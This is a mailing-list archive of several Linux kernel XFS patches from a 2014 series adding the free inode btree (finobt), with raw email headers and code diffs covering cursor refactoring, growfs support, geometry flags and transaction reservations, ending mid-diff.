xfs: enable the finobt feature on v5 superblocks fs/xfs/xfs_ag.h | 32 ++- fs/xfs/xfs_btree.c | 6 +- fs/xfs/xfs_btree.h | 3 + fs/xfs/xfs_format.h | 14 +- fs/xfs/xfs_fs.h | 1 + fs/xfs/xfs_fsops.c | 36 ++- fs/xfs/xfs_ialloc.c | 617 ++++++++++++++++++++++++++++++++++++++-------- fs/xfs/xfs_ialloc_btree.c | 68 ++++- fs/xfs/xfs_ialloc_btree.h | 3 +- fs/xfs/xfs_inode.c | 4 +- fs/xfs/xfs_itable.c | 6 +- fs/xfs/xfs_log_recover.c | 2 + fs/xfs/xfs_sb.h | 10 +- fs/xfs/xfs_stats.c | 1 + fs/xfs/xfs_stats.h | 18 +- fs/xfs/xfs_trans_resv.c | 47 +++- fs/xfs/xfs_trans_space.h | 7 +- fs/xfs/xfs_types.h | 2 +- 18 files changed, 746 insertions(+), 131 deletions(-) -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:49:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 79B187F51 for ; Tue, 4 Feb 2014 11:49:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E58D2AC005 for ; Tue, 4 Feb 2014 09:49:46 -0800 (PST) X-ASG-Debug-ID: 1391536185-04cbb00c28f98d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FHaBeM1lNrU52lCs for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14HniXn004569 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14Hni1d022763 for ; Tue, 4 Feb 2014 12:49:44 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 612F41250B0; Tue, 4 Feb 2014 12:49:42 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 01/11] xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers Date: Tue, 4 Feb 2014 12:49:32 -0500 X-ASG-Orig-Subj: [PATCH v3 01/11] xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers Message-Id: <1391536182-9048-2-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The introduction of the free inode btree (finobt) requires that xfs_ialloc_btree.c handle multiple trees. Refactor xfs_ialloc_btree.c so the caller specifies the btree type on cursor initialization to prepare for addition of the finobt. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner Reviewed-by: Christoph Hellwig --- fs/xfs/xfs_ialloc.c | 8 ++++---- fs/xfs/xfs_ialloc_btree.c | 8 +++++--- fs/xfs/xfs_ialloc_btree.h | 3 ++- fs/xfs/xfs_itable.c | 6 ++++-- 4 files changed, 15 insertions(+), 10 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 7a728f9f..ef3abd1 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -456,7 +456,7 @@ xfs_ialloc_ag_alloc( /* * Insert records describing the new inode chunk into the btree. */ - cur = xfs_inobt_init_cursor(args.mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(args.mp, tp, agbp, agno, XFS_BTNUM_INO); for (thisino = newino; thisino < newino + newlen; thisino += XFS_INODES_PER_CHUNK) { @@ -702,7 +702,7 @@ xfs_dialloc_ag( ASSERT(pag->pagi_freecount > 0); restart_pagno: - cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); /* * If pagino is 0 (this is the root inode allocation) use newino. * This must work because we've just allocated some. @@ -1164,7 +1164,7 @@ xfs_difree( /* * Initialize the cursor. */ - cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); error = xfs_check_agi_freecount(cur, agi); if (error) @@ -1295,7 +1295,7 @@ xfs_imap_lookup( * we have a record, we need to ensure it contains the inode number * we are looking up. */ - cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_LE, &i); if (!error) { if (i) diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index c8fa5bb..2d1a398 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -49,7 +49,8 @@ xfs_inobt_dup_cursor( struct xfs_btree_cur *cur) { return xfs_inobt_init_cursor(cur->bc_mp, cur->bc_tp, - cur->bc_private.a.agbp, cur->bc_private.a.agno); + cur->bc_private.a.agbp, cur->bc_private.a.agno, + cur->bc_btnum); } STATIC void @@ -323,7 +324,8 @@ xfs_inobt_init_cursor( struct xfs_mount *mp, /* file system mount point */ struct xfs_trans *tp, /* transaction pointer */ struct xfs_buf *agbp, /* buffer for agi structure */ - xfs_agnumber_t agno) /* allocation group number */ + xfs_agnumber_t agno, /* allocation group number */ + xfs_btnum_t btnum) /* ialloc or free ino btree */ { struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); struct xfs_btree_cur *cur; @@ -333,7 +335,7 @@ xfs_inobt_init_cursor( cur->bc_tp = tp; cur->bc_mp = mp; cur->bc_nlevels = be32_to_cpu(agi->agi_level); - cur->bc_btnum = XFS_BTNUM_INO; + cur->bc_btnum = btnum; cur->bc_blocklog = mp->m_sb.sb_blocklog; cur->bc_ops = &xfs_inobt_ops; diff --git a/fs/xfs/xfs_ialloc_btree.h b/fs/xfs/xfs_ialloc_btree.h index f38b220..d7ebea72 100644 --- a/fs/xfs/xfs_ialloc_btree.h +++ b/fs/xfs/xfs_ialloc_btree.h @@ -58,7 +58,8 @@ struct xfs_mount; ((index) - 1) * sizeof(xfs_inobt_ptr_t))) extern struct xfs_btree_cur *xfs_inobt_init_cursor(struct xfs_mount *, - struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t); + struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t, + xfs_btnum_t); extern int xfs_inobt_maxrecs(struct xfs_mount *, int, int); #endif /* __XFS_IALLOC_BTREE_H__ */ diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index c237ad1..71a8169 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -274,7 +274,8 @@ xfs_bulkstat( /* * Allocate and initialize a btree cursor for ialloc btree. */ - cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); + cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno, + XFS_BTNUM_INO); irbp = irbuf; irbufend = irbuf + nirbuf; end_of_ag = 0; @@ -625,7 +626,8 @@ xfs_inumbers( agino = 0; continue; } - cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); + cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno, + XFS_BTNUM_INO); error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &tmp); if (error) { -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:49:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 629CD7F57 for ; Tue, 4 Feb 2014 11:49:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id F2EF2AC006 for ; Tue, 4 Feb 2014 09:49:46 -0800 (PST) X-ASG-Debug-ID: 1391536185-04cb6c6de2ff3a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ec7EL4yOOcB2y9J7 for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14Hnj7M000954 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14HnigC002026 for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id B84A6125119; Tue, 4 Feb 2014 12:49:43 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 09/11] xfs: add finobt support to growfs Date: Tue, 4 Feb 2014 12:49:40 -0500 X-ASG-Orig-Subj: [PATCH v3 09/11] xfs: add finobt support to growfs Message-Id: <1391536182-9048-10-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add finobt support to growfs. Initialize the agi root/level fields and the root finobt block. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner --- fs/xfs/xfs_fsops.c | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 02fb943..96e4eb0 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -316,6 +316,10 @@ xfs_growfs_data_private( agi->agi_dirino = cpu_to_be32(NULLAGINO); if (xfs_sb_version_hascrc(&mp->m_sb)) uuid_copy(&agi->agi_uuid, &mp->m_sb.sb_uuid); + if (xfs_sb_version_hasfinobt(&mp->m_sb)) { + agi->agi_free_root = cpu_to_be32(XFS_FIBT_BLOCK(mp)); + agi->agi_free_level = cpu_to_be32(1); + } for (bucket = 0; bucket < XFS_AGI_UNLINKED_BUCKETS; bucket++) agi->agi_unlinked[bucket] = cpu_to_be32(NULLAGINO); @@ -407,6 +411,34 @@ xfs_growfs_data_private( xfs_buf_relse(bp); if (error) goto error0; + + /* + * FINO btree root block + */ + if (xfs_sb_version_hasfinobt(&mp->m_sb)) { + bp = xfs_growfs_get_hdr_buf(mp, + XFS_AGB_TO_DADDR(mp, agno, XFS_FIBT_BLOCK(mp)), + BTOBB(mp->m_sb.sb_blocksize), 0, + &xfs_inobt_buf_ops); + if (!bp) { + error = ENOMEM; + goto error0; + } + + if (xfs_sb_version_hascrc(&mp->m_sb)) + xfs_btree_init_block(mp, bp, XFS_FIBT_CRC_MAGIC, + 0, 0, agno, + XFS_BTREE_CRC_BLOCKS); + else + xfs_btree_init_block(mp, bp, XFS_FIBT_MAGIC, 0, + 0, agno, 0); + + error = xfs_bwrite(bp); + xfs_buf_relse(bp); + if (error) + goto error0; + } + } xfs_trans_agblocks_delta(tp, nfree); /* -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:50:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BFF517F52 for ; Tue, 4 Feb 2014 11:50:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A5402304097 for ; Tue, 4 Feb 2014 09:50:13 -0800 (PST) X-ASG-Debug-ID: 1391536186-04bdf0121d10d550001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id dQmK1p8I6dG63Koi for ; Tue, 04 Feb 2014 09:49:46 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14Hnjva012018 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14HnjtN022850 for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id BE9141250ED; Tue, 4 Feb 2014 12:49:43 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 10/11] xfs: report finobt status in fs geometry Date: Tue, 4 Feb 2014 12:49:41 -0500 X-ASG-Orig-Subj: [PATCH v3 10/11] xfs: report finobt status in fs geometry Message-Id: <1391536182-9048-11-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536186 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Define the XFS_FSOP_GEOM_FLAGS_FINOBT fs geometry flag and set the associated bit if the filesystem supports the free inode btree. Signed-off-by: Brian Foster --- fs/xfs/xfs_fs.h | 1 + fs/xfs/xfs_fsops.c | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index c5fc116..d34703d 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -238,6 +238,7 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x4000 /* lazy superblock counters */ #define XFS_FSOP_GEOM_FLAGS_V5SB 0x8000 /* version 5 superblock */ #define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ +#define XFS_FSOP_GEOM_FLAGS_FINOBT 0x20000 /* free inode btree */ /* * Minimum and maximum sizes need for growth checks. diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 96e4eb0..3445ead 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -104,7 +104,9 @@ xfs_fs_geometry( (xfs_sb_version_hascrc(&mp->m_sb) ? XFS_FSOP_GEOM_FLAGS_V5SB : 0) | (xfs_sb_version_hasftype(&mp->m_sb) ? - XFS_FSOP_GEOM_FLAGS_FTYPE : 0); + XFS_FSOP_GEOM_FLAGS_FTYPE : 0) | + (xfs_sb_version_hasfinobt(&mp->m_sb) ? + XFS_FSOP_GEOM_FLAGS_FINOBT : 0); geo->logsectsize = xfs_sb_version_hassector(&mp->m_sb) ? mp->m_sb.sb_logsectsize : BBSIZE; geo->rtsectsize = mp->m_sb.sb_blocksize; -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:50:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D76D17F59 for ; Tue, 4 Feb 2014 11:50:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AE6E88F8050 for ; Tue, 4 Feb 2014 09:50:13 -0800 (PST) X-ASG-Debug-ID: 1391536185-04bdf0121f10d540001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 46wpVIAvbe8xHVyC for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14HniFP000941 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:44 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s14HniXo018297 for ; Tue, 4 Feb 2014 12:49:44 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 26D18125097; Tue, 4 Feb 2014 12:49:43 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt Date: Tue, 4 Feb 2014 12:49:35 -0500 X-ASG-Orig-Subj: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt Message-Id: <1391536182-9048-5-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Create the xfs_calc_finobt_res() helper to calculate the finobt log reservation for inode allocation and free. Update XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to reserve blocks for the potential finobt record insertion on inode free (i.e., if an inode chunk was previously fully allocated). Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 4 +++- fs/xfs/xfs_trans_resv.c | 47 +++++++++++++++++++++++++++++++++++++++++++---- fs/xfs/xfs_trans_space.h | 7 ++++++- 3 files changed, 52 insertions(+), 6 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 001aa89..57c77ed 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1730,7 +1730,9 @@ xfs_inactive_ifree( int error; tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); + tp->t_flags |= XFS_TRANS_RESERVE; + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, + XFS_IFREE_SPACE_RES(mp), 0); if (error) { ASSERT(XFS_FORCED_SHUTDOWN(mp)); xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 2fd59c0..32f35c1 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -98,6 +98,37 @@ xfs_calc_inode_res( } /* + * The free inode btree is a conditional feature and the log reservation + * requirements differ slightly from that of the traditional inode allocation + * btree. The finobt tracks records for inode chunks with at least one free inode. + * Therefore, a record can be removed from the tree for an inode allocation or + * free and the associated merge reservation is unconditional. This also covers + * the possibility of a split on record insertion. + * + * the free inode btree: max depth * block size + * the free inode btree entry: block size + * + * TODO: is the modify res really necessary? covered by the merge/split res? + * This seems to be the pattern of ifree, but not create_resv_alloc. Why? + */ +STATIC uint +xfs_calc_finobt_res( + struct xfs_mount *mp, + int modify) +{ + uint res; + + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) + return 0; + + res = xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)); + if (modify) + res += (uint)XFS_FSB_TO_B(mp, 1); + + return res; +} + +/* * Various log reservation values. * * These are based on the size of the file system block because that is what @@ -267,6 +298,7 @@ xfs_calc_remove_reservation( * the superblock for the nlink flag: sector size * the directory btree: (max depth + v2) * dir block size * the directory inode's bmap btree: (max depth + v2) * block size + * the finobt */ STATIC uint xfs_calc_create_resv_modify( @@ -275,7 +307,8 @@ xfs_calc_create_resv_modify( return xfs_calc_inode_res(mp, 2) + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + (uint)XFS_FSB_TO_B(mp, 1) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)) + + xfs_calc_finobt_res(mp, 1); } /* @@ -285,6 +318,7 @@ xfs_calc_create_resv_modify( * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize * the inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size + * the finobt */ STATIC uint xfs_calc_create_resv_alloc( @@ -295,7 +329,8 @@ xfs_calc_create_resv_alloc( xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_finobt_res(mp, 0); } STATIC uint @@ -313,6 +348,7 @@ __xfs_calc_create_reservation( * the superblock for the nlink flag: sector size * the inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size + * the finobt */ STATIC uint xfs_calc_icreate_resv_alloc( @@ -322,7 +358,8 @@ xfs_calc_icreate_resv_alloc( mp->m_sb.sb_sectsize + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_finobt_res(mp, 0); } STATIC uint @@ -376,6 +413,7 @@ xfs_calc_symlink_reservation( * the on disk inode before ours in the agi hash list: inode cluster size * the inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size + * the finobt */ STATIC uint xfs_calc_ifree_reservation( @@ -390,7 +428,8 @@ xfs_calc_ifree_reservation( xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + mp->m_in_maxlevels, 0) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_finobt_res(mp, 1); } /* diff --git a/fs/xfs/xfs_trans_space.h b/fs/xfs/xfs_trans_space.h index 7d2c920..a7d1721e 100644 --- a/fs/xfs/xfs_trans_space.h +++ b/fs/xfs/xfs_trans_space.h @@ -47,7 +47,9 @@ #define XFS_DIRREMOVE_SPACE_RES(mp) \ XFS_DAREMOVE_SPACE_RES(mp, XFS_DATA_FORK) #define XFS_IALLOC_SPACE_RES(mp) \ - (XFS_IALLOC_BLOCKS(mp) + (mp)->m_in_maxlevels - 1) + (XFS_IALLOC_BLOCKS(mp) + \ + (xfs_sb_version_hasfinobt(&mp->m_sb) ? 2 : 1 * \ + ((mp)->m_in_maxlevels - 1))) /* * Space reservation values for various transactions. @@ -82,5 +84,8 @@ (XFS_DIRREMOVE_SPACE_RES(mp) + XFS_DIRENTER_SPACE_RES(mp,nl)) #define XFS_SYMLINK_SPACE_RES(mp,nl,b) \ (XFS_IALLOC_SPACE_RES(mp) + XFS_DIRENTER_SPACE_RES(mp,nl) + (b)) +#define XFS_IFREE_SPACE_RES(mp) \ + (xfs_sb_version_hasfinobt(&mp->m_sb) ? (mp)->m_in_maxlevels : 0) + #endif /* __XFS_TRANS_SPACE_H__ */ -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:50:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E02A27F5F for ; Tue, 4 Feb 2014 11:50:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A7D83304098 for ; Tue, 4 Feb 2014 09:50:13 -0800 (PST) X-ASG-Debug-ID: 1391536185-04bdf0121d10d540001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cC6OcdgaLRtfD8qT for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14HnjUu030312 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14HniYr022847 for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8C8081250D0; Tue, 4 Feb 2014 12:49:43 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 07/11] xfs: refactor xfs_difree() inobt bits into xfs_difree_inobt() helper Date: Tue, 4 Feb 2014 12:49:38 -0500 X-ASG-Orig-Subj: [PATCH v3 07/11] xfs: refactor xfs_difree() inobt bits into xfs_difree_inobt() helper Message-Id: <1391536182-9048-8-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Refactor xfs_difree() in preparation for the finobt. xfs_difree() performs the validity checks against the ag and reads the agi header. The work of physically updating the inode allocation btree is pushed down into the new xfs_difree_inobt() helper. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 161 +++++++++++++++++++++++++++++++--------------------- 1 file changed, 96 insertions(+), 65 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index afc9840..06851db 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1349,74 +1349,30 @@ out_error: return XFS_ERROR(error); } -/* - * Free disk inode. Carefully avoids touching the incore inode, all - * manipulations incore are the caller's responsibility. - * The on-disk inode is not changed by this operation, only the - * btree (free inode mask) is changed. - */ -int -xfs_difree( - xfs_trans_t *tp, /* transaction pointer */ - xfs_ino_t inode, /* inode to be freed */ - xfs_bmap_free_t *flist, /* extents to free */ - int *delete, /* set if inode cluster was deleted */ - xfs_ino_t *first_ino) /* first inode in deleted cluster */ +STATIC int +xfs_difree_inobt( + struct xfs_mount *mp, + struct xfs_trans 